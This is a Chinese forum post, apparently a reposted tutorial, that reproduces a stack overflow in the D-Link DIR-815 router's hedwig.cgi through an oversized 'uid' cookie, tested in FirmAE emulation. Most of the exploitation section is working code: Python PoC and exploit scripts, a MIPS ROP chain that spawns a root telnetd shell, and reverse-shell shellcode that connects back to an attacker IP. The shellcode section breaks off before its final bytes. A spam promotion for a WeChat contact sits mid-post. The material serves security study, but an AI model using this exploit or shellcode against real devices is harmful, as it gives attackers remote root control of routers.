踏入IOT安全世界:DIR-815路由器多次溢出漏洞分析复现

一给  金牌会员 | 2024-5-15 11:23:39 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 856|帖子 856|积分 2568

前言

在进行IOT安全领域的学习和实践中,经典漏洞的复现是必不可少的一环。本文将介绍一个经典漏洞,涉及到Binwalk、firmware-mod-kit、FirmAE等工具的使用,以及对DIR-815路由器中多次溢出漏洞的复现过程。
固件下载地址:https://legacyfiles.us.dlink.com/DIR-815/REVA/FIRMWARE/
这个漏洞属于经范例畴,很多人选择通过此漏洞进行IOT安全入门的学习与实践。我们将一起回顾这个经典漏洞,踏入IOT安全的世界,并对DIR-815路由器中的多次溢出漏洞进行复现。
根据报告显示,此漏洞主要源于COOKIE长度未被限制,导致COOKIE长度过长时引发栈溢出题目。在本文中,我们将提供exp和poc,需要注意的是,在我的本地环境中,假如使用973作为偏移量,则调试无法乐成毗连,但不进行调试则可以乐成毗连。然而,假如使用1007作为偏移量,则调试可以乐成毗连,但不进行调试则无法乐成毗连。这种情况大概与仿真环境相关,接待大家积极尝试并探索。
工具安装

我的环境是
  1. Ubuntu 22.04.4 LTS x86_64
复制代码
Binwalk

我们要安装这个工具用来给FirmAE调用:
  1. git clone https://github.com/ReFirmLabs/binwalk.git
  2. cd binwalk
  3. sudo python setup.py install
复制代码
firmware-mod-kit

首先安装依靠:
  1. sudo apt-get install git build-essential zlib1g-dev liblzma-dev python-magic
复制代码
然后进行安装:
  1. git clone https://github.com/mirror/firmware-mod-kit.git
  2. cd firmware-mod-kit/src
  3. ./configure && make
复制代码
可以进入https://github.com/mirror/firmware-mod-kit查看具体使用方法,本文不赘述。
FirmAE

我们需要安装FirmAE,和相关依靠进行固件仿真:
  1. git clone --recursive https://github.com/pr0v3rbs/FirmAE
  2. sudo pip3 install selenium
复制代码
接着进入FirmAE目次运行:
  1. ./download.sh
  2. ./install.sh
  3. ./init.sh
复制代码
随后,使用如下命令尝试是否能够仿真:
  1. sudo ./run.sh -c <brand> <firmware>
复制代码
我们这篇文章的brand是d-link。假如乐成仿真,使用如下命令进入仿真调试模式:
  1. sudo ./run.sh -d <brand> <firmware>
复制代码
注意,仿真之后要输入2,进入shell之后运行如下命令关闭随机化,因为真机也是不开启的:
  1. echo "0" >> /proc/sys/kernel/randomize_va_space
复制代码
基础知识

溢出漏洞

溢出漏洞是指由于缓冲区溢出等原因导致的内存溢出题目。这些漏洞可以让攻击者实行恶意代码,进而对路由器进行攻击和控制。
它可以使得黑客控制程序实行的pc,从而达到控制程序流的目的。要知道,pc可是指示程序下一条指令的地方!一旦攻击者乐成控制了它,就能为所欲为了。
那么,怎样利用栈溢出漏洞来控制程序实行呢?有两个常见的方法:shellcode和ROPchain。
首先,我们来说说shellcode。Shellcode是一段经心编写的呆板码,通常用于实行特定的操纵,比如获取系统特权或者实行其他恶意行为。攻击者可以通过溢出漏洞将shellcode注入到受影响的程序中,并控制程序实行,从而实行这段恶意代码。
另一种方法是使用ROPchain(Return-Oriented Programming)。ROPchain是一种利用已存在的代码片段(称为gadgets)来构建攻击代码的技能。攻击者可以通过溢出漏洞,将栈上的返回地址(Return Address)改写为指向这些gadgets的地址,然后利用这些gadgets的序列来实现特定的功能,比如实行系统调用或者跳转到其他函数。
所以,栈溢出漏洞非常伤害,给了攻击者很大的控制力!要特殊注意程序中的边界检查和缓冲区大小的限制,以避免这类漏洞的发生。在编程过程中,要时候确保输入数据不会超出预期的范围,这样就能有用地防止栈溢出漏洞的利用。
HTTP协议

HTTP协议是一种用于传输超文本的协议,它由请求和响应组成。让我们来看一下HTTP请求的各个部门,分别是请求行、消息报头、请求正文。IoT安全当中传输信息,大多数需要HTTP协议来进行。
【----帮助网安学习,以下全部学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
 ① 网安学习成长路径头脑导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技能电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂口试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
请求行

HTTP请求的第一行是请求行,它由三部门组成:请求方法、请求的资源路径(Request-URI)和HTTP协议的版本。格式如下:
  1. Method Request-URI HTTP-Version CRLF
复制代码
比方:
  1. POST /registez.aspx HTTP/1.1 (CRLE)
复制代码
消息报头

请求的消息报头包含了一系列的键值对,每个键值对由名字、冒号、空格和值组成。它们用于通报关于请求的额外信息。比方:
  1. Accept:image/gif
复制代码
表现请求GIF图像格式的资源。
一个完备的请求消息报头大概包含多个键值对,像这样:
  1. GET /index.html HTTP/1.1 (CRLF)
  2. Accept:image/gif, image/x-xbitmap,*/* (CRLF)
  3. Accept-Language:zh-cn (CRLF)
  4. Accept-Encoding:gzip, deflate (CRLF)
  5. User-Rgent:Mozilla/4.0(compatible;MSIE6.0;Windows NT 5.0) (CRLF)
  6. Host:www.baidu.com (CRLF)
  7. Connection:Keep-Alive (CRLF)
  8. (CRLF)
复制代码
请求正文

请求正文是可选的,它包含了请求的主体内容。它位于消息报头和消息主体之间的一个空行。请求正文可以包含各种数据,比方表单数据、JSON、XML等等。比方:
  1. Usernarme=admin&password=admin
复制代码
实际上,请求正文可以包含更多内容,具体取决于请求的目的和需要。
我们在具体使用的时间,会使用python的相关库request或者http.client进行编程。
成因分析


  • Cookie来自char *getenv("HTTP_COOKIE")。
  • cgibin链接到其他的cgi的时间,此时cgibin里除了main,还会有别的cgi文件的main。
如本固件的hedwigcgi_main。
根据漏洞报告,搜索了HTTP_COOKIE字符串,找到相关函数sess_get_uid及其引用,这个函数有对uid的比力,分析得出COOKIE的数据组织情势是uid=payload。
  1. int __fastcall sess_get_uid(int a1)
  2. {
  3.  int v2; // $s2
  4.  char *v3; // $v0
  5.  int v4; // $s3
  6.  char *v5; // $s4
  7.  int v6; // $s1
  8.  int v7; // $s0
  9.  char *string; // $v0
  10.  int result; // $v0
  11.  v2 = sobj_new();
  12.  v4 = sobj_new();
  13.  v3 = getenv("HTTP_COOKIE");
  14.  if ( !v2 )
  15.    goto LABEL_27;
  16.  if ( !v4 )
  17.    goto LABEL_27;
  18.  v5 = v3;
  19.  if ( !v3 )
  20.    goto LABEL_27;
  21.  v6 = 0;
  22.  while ( 1 )
  23.   {
  24.    v7 = *v5;
  25.    if ( !*v5 )
  26.      break;
  27.    if ( v6 == 1 )
  28.      goto LABEL_11;
  29.    if ( v6 < 2 )
  30.    {
  31.      if ( v7 == ' ' )
  32.        goto LABEL_18;
  33.      sobj_free(v2);
  34.      sobj_free(v4);
  35. LABEL_11:
  36.      if ( v7 == 59 )
  37.      {
  38.        v6 = 0;
  39.      }
  40.      else
  41.      {
  42.        v6 = 2;
  43.        if ( v7 != 61 )
  44.        {
  45.          sobj_add_char(v2, v7);
  46.          v6 = 1;
  47.        }
  48.      }
  49.      goto LABEL_18;
  50.    }
  51.    if ( v6 == 2 )
  52.    {
  53.      if ( v7 == 59 )
  54.      {
  55.        v6 = 3;
  56.        goto LABEL_18;
  57.      }
  58.      sobj_add_char(v4, *v5++);
  59.    }
  60.    else
  61.    {
  62.      v6 = 0;
  63.      if ( !sobj_strcmp(v2, "uid") )
  64.        goto LABEL_21;
  65. LABEL_18:
  66.      ++v5;
  67.    }
  68.   }
  69.  if ( !sobj_strcmp(v2, "uid") )
  70.   {
  71. LABEL_21:
  72.    string = sobj_get_string(v4);
  73.    goto LABEL_22;
  74.   }
  75. LABEL_27:
  76.  string = getenv("REMOTE_ADDR");
  77. LABEL_22:
  78.  result = sobj_add_string(a1, string);
  79.  if ( v2 )
  80.    result = sobj_del(v2);
  81.  if ( v4 )
  82.    return sobj_del(v4);
  83.  return result;
  84. }
复制代码

  • 假如FirmAE无法直接解压固件,可以用fmk解压以后再压缩为tar.gz交给FirmAE。
  • FirmAE假如出现文件依然存在的情况,使用如下方案:
  1. sudo ip link set ${TAPDEV_0}
  2. sudo tunctl -d ${TAPDEV_0}
复制代码
将其停止,可以重新启动仿真。
调试方法

仿真乐成后,进入FirmAE进行如下输入——进入shell,查询http服务的进程号:
  1. ------------------------------
  2. |       FirmAE Debugger      |
  3. ------------------------------
  4. 1. connect to socat
  5. 2. connect to shell
  6. 3. tcpdump
  7. 4. run gdbserver
  8. 5. file transfer
  9. 6. exit
  10. > 2
  11. Trying 192.168.0.1...
  12. Connected to 192.168.0.1.
  13. Escape character is '^]'.
  14. / # ps  | grep "httpd"
  15. 2387 root      1564 S    httpd -f /var/run/httpd.conf
  16. 8421 root       656 S    grep httpd
  17. / # Connection closed by foreign host.
复制代码
随后输入进程号(此处是2387)启用gdb-server:
  1. ------------------------------
  2. |       FirmAE Debugger      |
  3. ------------------------------
  4. 1. connect to socat
  5. 2. connect to shell
  6. 3. tcpdump
  7. 4. run gdbserver
  8. 5. file transfer
  9. 6. exit
  10. > 4
  11. 641 root      1684 S    /firmadyne/sh /firmadyne/network.sh
  12.  643 root      1676 S    /firmadyne/sh /firmadyne/debug.sh
  13.  647 root      1680 S    /firmadyne/busybox telnetd -p 31338 -l /firmadyne/sh
  14.  648 root      1668 S    /firmadyne/busybox sleep 36000
  15.  649 root      1676 S    /firmadyne/sh
  16.  779 root       892 S    portt -c DNAT.PORTT
  17. 1300 root      1044 S    udhcpc -i eth3 -H dlinkrouter -p /var/servd/WAN-1-udh
  18. 1663 root       904 S    updatewifistats -i rai0 -x /phyinf:3 -r /runtime/phyi
  19. 1737 root       904 S    updatewifistats -i ra0 -x /phyinf:4 -r /runtime/phyin
  20. 2096 root       908 S    neaps -i br0 -c /var/run/neaps.conf
  21. 2108 root       884 S    netbios -i br0 -r dlinkrouter
  22. 2109 root       900 S    llmnresp -i br0 -r dlinkrouter
  23. 2156 root      1068 S    udhcpd /var/servd/LAN-1-udhcpd.conf
  24. 2351 root      1040 S    dnsmasq -C /var/servd/DNS.conf
  25. 2387 root      1568 S    httpd -f /var/run/httpd.conf
  26. 11504 root      1668 S    /firmadyne/busybox sleep 5
  27. 11553 root       660 R    ps
  28.   PID USER       VSZ STAT COMMAND
  29.    1 root       656 S    init
  30.    2 root         0 SW   [kthreadd]
  31.    3 root         0 SW   [ksoftirqd/0]
  32.    4 root         0 SW   [kworker/0:0]
  33.    5 root         0 SW<  [kworker/0:0H]
  34.    6 root         0 SW   [kworker/u2:0]
  35.    7 root         0 SW<  [khelper]
  36.    8 root         0 SW   [khungtaskd]
  37.    9 root         0 SW<  [writeback]
  38.   10 root         0 SWN  [ksmd]
  39.   11 root         0 SW<  [crypto]
  40.   12 root         0 SW<  [bioset]
  41.   13 root         0 SW<  [kblockd]
  42.   14 root         0 SW<  [ata_sff]
  43.   15 root         0 SW<  [cfg80211]
  44.   16 root         0 SW   [kworker/0:1]
  45.   17 root         0 SW   [kswapd0]
  46.   18 root         0 SW   [fsnotify_mark]
  47.   35 root         0 SW   [scsi_eh_0]
  48.   36 root         0 SW<  [scsi_tmf_0]
  49.   37 root         0 SW   [scsi_eh_1]
  50.   38 root         0 SW<  [scsi_tmf_1]
  51.   41 root         0 SW   [kworker/u2:3]
  52.   44 root         0 SW<  [kpsmoused]
  53.   45 root         0 SW<  [ipv6_addrconf]
  54.   46 root         0 SW<  [defe
  55. [+] target pid : 2387
  56. [+] gdbserver at 192.168.0.1:1337 attach on 2387
  57. [+] run "target remote 192.168.0.1:1337" in host gdb-multiarch
复制代码
宿主机保存如下脚本准备使用:
  1. set architecture mips
  2. set follow-fork-mode child
  3. set detach-on-fork off
  4. b _start
  5. #catch exec #这里去掉注释,就能够在对应的cgi文件停下
  6. target remote 192.168.0.1:1337
复制代码
假如保存为了gdb_script,那么在开启gdb-server以后使用如下命令进入调试:
  1. gdb-multiarch -x  gdb_script
复制代码
POC编写

定位到漏洞点应该在下面的sprintf处,由char v27[1024]可以知道,溢出至少要1024的数据。源码如下。
  1. int hedwigcgi_main()
  2. {
  3.  char *v0; // $v0
  4.  const char *v1; // $a1
  5.  FILE *v2; // $s0
  6.  int v3; // $fp
  7.  int v4; // $s5
  8.  int v5; // $v0
  9.  char *string; // $v0
  10.  FILE *v7; // $s2
  11.  int v8; // $v0
  12.  int v9; // $s7
  13.  int v10; // $v0
  14.  int *v11; // $s1
  15.  int i; // $s3
  16.  char *v13; // $v0
  17.  const char **v14; // $s1
  18.  int v15; // $s0
  19.  char *v16; // $v0
  20.  const char **v17; // $s1
  21.  int v18; // $s0
  22.  int v19; // $v0
  23.  char *v20; // $v0
  24.  char v22[20]; // [sp+18h] [-4A8h] BYREF
  25.  char *v23; // [sp+2Ch] [-494h] BYREF
  26.  char *v24; // [sp+30h] [-490h]
  27.  int v25[3]; // [sp+34h] [-48Ch] BYREF
  28.  char v26[128]; // [sp+40h] [-480h] BYREF
  29.  char v27[1024]; // [sp+C0h] [-400h] BYREF
  30.  memset(v27, 0, sizeof(v27));
  31.  memset(v26, 0, sizeof(v26));
  32.  strcpy(v22, "/runtime/session");
  33.  v0 = getenv("REQUEST_METHOD");
  34.  if ( !v0 )
  35.   {
  36.    v1 = "no REQUEST";
  37. LABEL_7:
  38.    v3 = 0;
  39.    v4 = 0;
  40. LABEL_34:
  41.    v9 = -1;
  42.    goto LABEL_25;
  43.   }
  44.  if ( strcasecmp(v0, "POST") )
  45.   {
  46.    v1 = "unsupported HTTP request";
  47.    goto LABEL_7;
  48.   }
  49.  cgibin_parse_request(sub_409A6C, 0, 0x20000);
  50.  v2 = fopen("/etc/config/image_sign", "r");
  51.  if ( !fgets(v26, 128, v2) )
  52.   {
  53.    v1 = "unable to read signature!";
  54.    goto LABEL_7;
  55.   }
  56.  fclose(v2);
  57.  cgibin_reatwhite(v26);
  58.  v4 = sobj_new();
  59.  v5 = sobj_new();
  60.  v3 = v5;
  61.  if ( !v4 || !v5 )
  62.   {
  63.    v1 = "unable to allocate string object";
  64.    goto LABEL_34;
  65.   }
  66.  sess_get_uid(v4);
  67.  string = sobj_get_string(v4);
  68.  sprintf(v27, "%s/%s/postxml", "/runtime/session", string);
  69.  xmldbc_del(0, 0, v27);
  70.  v7 = fopen("/var/tmp/temp.xml", "w");
  71.  if ( !v7 )
  72.   {
  73.    v1 = "unable to open temp file.";
  74.    goto LABEL_34;
  75.   }
  76.  if ( !haystack )
  77.   {
  78.    v1 = "no xml data.";
  79.    goto LABEL_34;
  80.   }
  81.  v8 = fileno(v7);
  82.  v9 = lockf(v8, 3, 0);
  83.  if ( v9 < 0 )
  84.   {
  85.    printf(
  86.      "HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>BUSY</result><message>%s</message></hedwig>",
  87.      0);
  88.    v9 = 0;
  89.    goto LABEL_26;
  90.   }
  91.  v10 = fileno(v7);
  92.  lockf(v10, 1, 0);
  93.  v23 = v26;
  94.  v24 = 0;
  95.  memset(v25, 0, sizeof(v25));
  96.  v24 = strtok(v22, "/");
  97.  v11 = v25;
  98.  for ( i = 2; ; ++i )
  99.   {
  100.    v13 = strtok(0, "/");
  101.    *v11++ = (int)v13;
  102.    if ( !v13 )
  103.      break;
  104.   }
  105.   (&v23)[i] = sobj_get_string(v4);
  106.  fputs("<?xml version="1.0" encoding="UTF-8"?>\n", v7);
  107.  v14 = (const char **)&v23;
  108.  v15 = 0;
  109.  do
  110.   {
  111.    ++v15;
  112.    fprintf(v7, "<%s>\n", *v14++);
  113.   }
  114.  while ( v15 < i + 1 );
  115.  v16 = strstr(haystack, "<postxml>");
  116.  fprintf(v7, "%s\n", v16);
  117.  v17 = (const char **)&(&v23)[i];
  118.  v18 = i + 1;
  119.  do
  120.   {
  121.    --v18;
  122.    fprintf(v7, "</%s>\n", *v17--);
  123.   }
  124.  while ( v18 > 0 );
  125.  fflush(v7);
  126.  xmldbc_read(0, 2, "/var/tmp/temp.xml");
  127.  v19 = fileno(v7);
  128.  lockf(v19, 0, 0);
  129.  fclose(v7);
  130.  remove("/var/tmp/temp.xml");
  131.  v20 = sobj_get_string(v4);
  132.  sprintf(v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);
  133.  xmldbc_ephp(0, 0, v27, stdout);
  134.  if ( v9 )
  135.   {
  136.    v1 = 0;
  137. LABEL_25:
  138.    printf(
  139.      "HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>FAILED</result><message>%s</message></hedwig>",
  140.      v1);
  141.   }
  142. LABEL_26:
  143.  if ( haystack )
  144.    free(haystack);
  145.  if ( v3 )
  146.    sobj_del(v3);
  147.  if ( v4 )
  148.    sobj_del(v4);
  149.  return v9;
  150. }
复制代码
构造poc如下:
  1. import http.client
  2. # 创建HTTP连接
  3. conn = http.client.HTTPConnection("192.168.0.1")
  4. # 设置请求头
  5. headers = {
  6.    'Content-Length': '21',
  7.    'accept-Encoding': 'deflate',
  8.    'Connection': 'close',
  9.    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
  10.    'Host': '192.168.0.1',
  11.    'Cookie': 'uid='+'a'*0x500,
  12.    'Content-Type': 'application/x-www-form-urlencoded'
  13. }
  14. # 发送POST请求
  15. conn.request("POST", "/hedwig.cgi", body="password=123&bid=3Rd4", headers=headers)
  16. # 获取响应
  17. response = conn.getresponse()
  18. # 打印响应状态码和响应内容
  19. print(response.status, response.read().decode())
  20. # 关闭连接
  21. conn.close()
复制代码
乐成覆盖pc如下。
[img=720,427.39336492890993]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403261356790.png[/img]

EXP编写

ROPchain_system(cmd)

接下来编写exp。
cyclic可以这么使用:
  1. >>> cyclic(0x100)
  2. b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac'
  3. >>> cyclic_find("cjaa")
  4. 235
  5. >>>
复制代码
从而轻松找到偏移。
我们修改一下poc如下,设置了payload,用如上方法找到偏移:
  1. import http.client
  2. from evilblade import *
  3. # 创建HTTP连接
  4. conn = http.client.HTTPConnection("192.168.0.1")
  5. payload = cyclic(0x500).decode()
  6. # 设置请求头
  7. headers = {
  8.    'Content-Length': '21',
  9.    'accept-Encoding': 'deflate',
  10.    'Connection': 'close',
  11.    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
  12.    'Host': '192.168.0.1',
  13.    'Cookie': 'uid='+payload,
  14.    'Content-Type': 'application/x-www-form-urlencoded'
  15. }
  16. # 发送POST请求
  17. conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers)
  18. # 获取响应
  19. response = conn.getresponse()
  20. # 打印响应状态码和响应内容
  21. print(response.status, response.read().decode())
  22. # 关闭连接
  23. conn.close()
复制代码
得到段错误如下。
[img=720,438.9214536928488]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403261356792.png[/img]

找偏移:(注意,此处导入pwntools也是一样的,这只是我自己写的封装库)
  1. >>> from evilblade import *
  2. >>> cyclic_find("klaa")
  3. 1043
  4. >>>
复制代码
再次修改poc确认偏移,乐成控制返回地址。修改如下:
  1. import http.client
  2. from evilblade import *
  3. # 创建HTTP连接
  4. conn = http.client.HTTPConnection("192.168.0.1")
  5. payload = b'a'*1043+b"rlok" #前面1043个偏移,后面是rlok作为返回地址
  6. payload = payload.decode()
  7. # 设置请求头
  8. headers = {
  9.    'Content-Length': '21',
  10.    'accept-Encoding': 'deflate',
  11.    'Connection': 'close',
  12.    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
  13.    'Host': '192.168.0.1',
  14.    'Cookie': 'uid='+payload,
  15.    'Content-Type': 'application/x-www-form-urlencoded'
  16. }
  17. # 发送POST请求
  18. conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers)
  19. # 获取响应
  20. response = conn.getresponse()
  21. # 打印响应状态码和响应内容
  22. print(response.status, response.read().decode())
  23. # 关闭连接
  24. conn.close()
复制代码
结果如下,乐成控制pc。
[img=720,891.5397082658022]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403261356793.png[/img]

我们发现路由器里有telnetd服务,这样只要实行system("telnetd"),就可以在宿主机运行telnet 192.168.0.1getshell了。其中a0就是第一个参数。
我们看看MIPS的寄存器作用:
  1. ROPgadget --binary libuClibc-0.9.30.1.so | grep --color=auto "addiu \$s5, \$sp,"
复制代码
用上述命令,找到下面的gadget:
  1. 0x000159cc : addiu $s5, $sp, 0x10 ; move $a1, $s3 ; move $a2, $s1 ; move $t9, $s0 ; jalr $t9 ; move $a0, $s5
复制代码
这样的情况,我们只要控制$sp + 0x10的位置是命令,并且s0是返回地址即可。
我们再次使用cyclic确定偏移,得到:
  1. *S0   0x6161636b ('kcaa')
复制代码
也就是
  1. >>> cyclic_find("kcaa")
  2. 1007
复制代码
s0往后就是s1,s2以此类推。
不外我们遇到了一个新的题目,那就是system的地址偏移是0x53200,是以00为结尾的,我们需要绕过。我尝试过用0x531fc,这里是nop,但是由于$t9的值不正确,所以后面的变量会错误,导致程序无法正常运行,那么我们只能另寻出路。
这里我们要用到一个技巧:
由于现代处置惩罚器采用流水线实行指令的方式,在实行jalr指令时,下一条指令大概已经被预取息争码,并开始实行。因此,即使jalr指令改变了程序计数器的值,下一条指令也大概在当前指令被实行的同时开始实行。
也就是说,实行jalr的同时,下一个指令也会实行。
我们用这个指令:
  1. ROPgadget --binary libuClibc-0.9.30.1.so | grep --color=auto "move \$t9, \$s5 ; jalr \$t9 ; addiu \$s0"
复制代码
找到gadget:
  1. 0x000158c8 : move $t9, $s5 ; jalr $t9 ; addiu $s0, $s0, 1
复制代码
他会在跳转到$s5的同时,将s0+1,也就是说我们传入偏移为0x531ff即可,且$$t9不会受到任何影响!
于是我们构造了如下的情况:
首先在s0传入system-1的地址,s5传入了0x000159cc的gadget。溢出之后,首先返回到s5的地址,同时,s0++,变为system的地址。此时实行第二个gadget,将"telnetd"传入s5,并且跳转到$s0也就是system,同时s5被赋值到a0也就是第一个参数,乐成实行system("telnetd -l /bin/sh -p 55557")。设置端口是担心原来的被占用了。
[img=720,255.5965082444229]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403261356794.png[/img]

如图,乐成。
附exp:
  1. import http.client
  2. from evilblade import *
  3. set("./cgibin")
  4. # 创建HTTP连接
  5. conn = http.client.HTTPConnection("192.168.0.1")
  6. ## XOR $t0, $t0, $t0,相当于 nop,因为nop是\x00不能发送,会被sprintf截断
  7. nop = "\x26\x40\x08\x01"
  8. #libc基地址
  9. libc = 0x77f34000
  10. #gadget
  11. gadget = 0x159cc+libc
  12. gadget2 = libc+0x158c8
  13. print(p32(gadget))
  14. print(p32(gadget2))
  15. sys = libc + 0x531ff
  16. print(p32(sys))
  17. dx(sys)
  18. sys_ = '\xffq\xf8w'
  19. gad_sp = "\xcc\x99\xf4w"
  20. gad_to_s5 = "\xc8\x98\xf4w"
  21. payload = cyclic(973).decode() + sys_ + "cccc"  + gad_sp*7 + gad_to_s5  + "dddd"*4 + "telnetd -l /bin/sh -p 55557 & ls & "
  22. # 设置请求头
  23. headers = {
  24. 'Content-Length': '21',
  25. 'accept-Encoding': 'deflate',
  26. 'Connection': 'close',
  27.    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
  28.    'Host': '192.168.0.1',
  29.    'Cookie': 'uid='+payload,
  30.    'Content-Type': 'application/x-www-form-urlencoded'
  31. }
  32. # 发送POST请求
  33. conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers)
  34. # 获取响应
  35. response = conn.getresponse()
  36. # 打印响应状态码和响应内容
  37. print(response.status, response.read().decode())
  38. # 关闭连接
  39. conn.close()
复制代码
shellcode

使用网站进行汇编转字节码:https://shell-storm.org/online/Online-Assembler-and-Disassembler/
第一步:socket(2,1,0)
在socket()系统调用中,参数的含义如下:

  • 第一个参数:套接字的域(domain)。对于IPv4网络套接字,通常使用AF_INET或者PF_INET,其值为2。
  • 第二个参数:套接字的范例(type)。常见的套接字范例包罗SOCK_STREAM(流套接字,用于TCP)和SOCK_DGRAM(数据报套接字,用于UDP)。
  • 第三个参数:协议(protocol)。通常情况下,假如域和范例已经指定了,协议参数可以设为0,让操纵系统自动选择符合的协议。在这里,值为0。
socket(2,2,0)的意思是创建一个IPv4的UDP套接字。
如下:
  1. addiu  a0, zero, 2
  2. addiu  a1, zero, 2
  3. addiu  a3, zero, 0
  4. addiu  v0, zero, 0x1057
  5. syscall 0x40404
复制代码
为了绕过\x00限制改为:
  1. li  $a0, 0x222
  2. addi $a0,-0x220
  3. li  $a1, 0x222
  4. addi $a1,-0x220
  5. li  $a2, 0x222
  6. addi $a2,-0x222
  7. li  $v0, 0x1057
  8. syscall 0x40404
复制代码
得到:
  1. "\x22\x02\x04\x24\xe0\xfd\x84\x20\x22\x02\x05\x24\xe0\xfd\xa5\x20\x22\x02\x06\x24\xde\xfd\xc6\x20\x57\x10\x02\x24\x0c\x01\x01\x01"
复制代码
存入栈:
  1. sw $v0,480($sp)
复制代码
得到:
  1. "\xe0\x01\xa2\xaf"
复制代码
第二步:
  1. dup2(socket_obj,0)
  2. dup2(socket_obj,1)
  3. dup2(socket_obj,2)
复制代码
将尺度输入输出错误流重定向到sock对象。
如下:
  1. lw $a0,480($sp);          
  2. li  $a1, 0x222
  3. addi $a1,-0x222
  4. li $v0,4063
  5. syscall 0x40404
  6.        
  7. li  $a1, 0x222
  8. addi $a1,-0x221
  9. li $v0,4063
  10. syscall 0x40404
  11.        
  12. li  $a1, 0x223
  13. addi $a1,-0x221
  14. li $v0,4063
  15. syscall 0x40404
复制代码
得到:
  1. "\xe0\x01\xa4\x8f\x22\x02\x05\x24\xde\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x22\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x23\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01"
复制代码
第三步,实行int connect(int sockfd, const **struct** sockaddr *addr,socklen_t addrlen);
  1. lw $a0,480($sp)
  2. addiu $a2,$zero,0x111
  3. addi $a2,-0x101
  4. lui $t6,0xbe15
  5. ori $t6,$t6,0x0203    
  6. addi $t6, -0x0201
  7. sw $t6,468($sp)
  8. //这里是端口,可以自己更改
  9. lui $t7,0x0302
  10. ori   $t7, $t7, 0xa9c1
  11. addi $t7, $t7, -0x01020101
  12. //这里是ip地址,可以自己更改
  13. sw $t7,472($sp)                    
  14. la $a1,468($sp)              
  15. addiu $v0,$zero,4170    
  16. syscall 0x40404
复制代码
此时是绑定在了192.168.0.2 5566,也就是攻击呆板的地址。ip和端口涉及大端小端的题目,参考文章的时间是大端,我说怎么调了这么久都不对……
要构造为(这是192.168.0.2 5566)
  1. 0xbe150002  0x0200a8c0
复制代码
得到:
  1. "\xe0\x01\xa4\x8f\x11\x01\x06\x24\xff\xfe\xc6\x20\x15\xbe\x0e\x3c\x03\x02\xce\x35\xff\xfd\xce\x21\xd4\x01\xae\xaf\x02\x03\x0f\x3c\xc1\xa9\xef\x35\xfd\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\xd8\x01\xaf\xaf\xd4\x01\xa5\x27\x4a\x10\x02\x24\x0c\x01\x01\x01"
复制代码
末了一步,实行execve("/bin/sh",["/bin/sh","-i"],0),注意,此处的第二个参数是个数组,让其能够交互:
  1. lui     $t1, 0x6e69
  2. ori     $t1, $t1, 0x622f
  3. sw      $t1, -8($sp)
  4. lui     $t9, 0xff97
  5. ori     $t9, $t9, 0x8cd0
  6. not     $t1, $t9
  7. sw      $t1, -4($sp)
  8. addiu   $sp, $sp, -8
  9. add     $a0, $sp, $zero
  10. lui     $t1, 0x6e69
  11. ori     $t1, $t1, 0x622f
  12. sw      $t1, -0xc($sp)
  13. lui     $t9, 0xff97
  14. ori     $t9, $t9, 0x8cd0
  15. not     $t1, $t9
  16. sw      $t1, -8($sp)
  17. sw      $zero, -4($sp)
  18. addiu   $sp, $sp, -0xc
  19. slti    $a1, $zero, -1
  20. sw      $a1, -4($sp)
  21. addi    $sp, $sp, -4
  22. addiu   $t9, $zero, -5
  23. not     $a1, $t9
  24. add     $a1, $sp, $a1
  25. sw      $a1, -4($sp)
  26. addi    $sp, $sp, -4
  27. add     $a1, $sp, $zero
  28. slti    $a2, $zero, -1
  29. ori     $v0, $zero, 0xfab
  30. syscall
复制代码
得到:
